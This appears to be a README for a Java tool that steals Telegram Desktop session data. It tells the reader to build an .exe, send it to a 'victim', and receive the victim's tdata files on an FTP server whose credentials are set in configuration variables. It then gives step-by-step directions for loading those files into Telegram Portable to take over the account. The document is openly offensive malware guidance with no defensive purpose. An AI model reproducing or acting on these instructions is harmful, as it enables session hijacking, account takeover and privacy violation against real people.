This script is designed to retrieve Telegram Desktop access data by copying relevant files and folders to a backup location and archiving them in a zip file. It also provides the ability to upload this archive to an FTP server for remote storage.
-
Clone or download the repository.
-
Open project in a text editor.
-
Modify the following variables according to your requirements:
private static final String HOST_NAME = ""; private static final int PORT = 21; private static final String USERNAME = ""; private static final String PASSWORD = ""; private static final String REMOTE_DIRECTORY = "/htdocs";
-
Use Launch4j to create an .exe file following the instructions in the picture below:
-
After creating the .exe file, send it to the victim. After the victim runs it, your FTP server will receive an archive with the data.
You can use, for example, FileZilla to communicate with your FPT server and interact with files
-
Download Telegram Portable
Go to the folder with the downloaded Telegram Portable:
-
Run Telegram.exe - in the folder tdata it should create files and also the folder D877F783D5D3EF8C, if the folder was not created, try to close Telegram and try again, it is not always created from the first time:
Should looks like this:
Close Telegram
-
Unzip the archive from the FTP server and go through the folder hierarchy until you get to our two main folders connection_hash and map:
-
Now, the most important thing, copy all files from the connection_hash folder (from the archive) to the tdata folder (Telegram Portable directory), replacing the required files:
-
Next, copy all available folders from the map folder (from the archive) into the tdata folder (Telegram Portable directory), replacing them with the required folders:
-
That's all, run Telegram.exe and have fun!





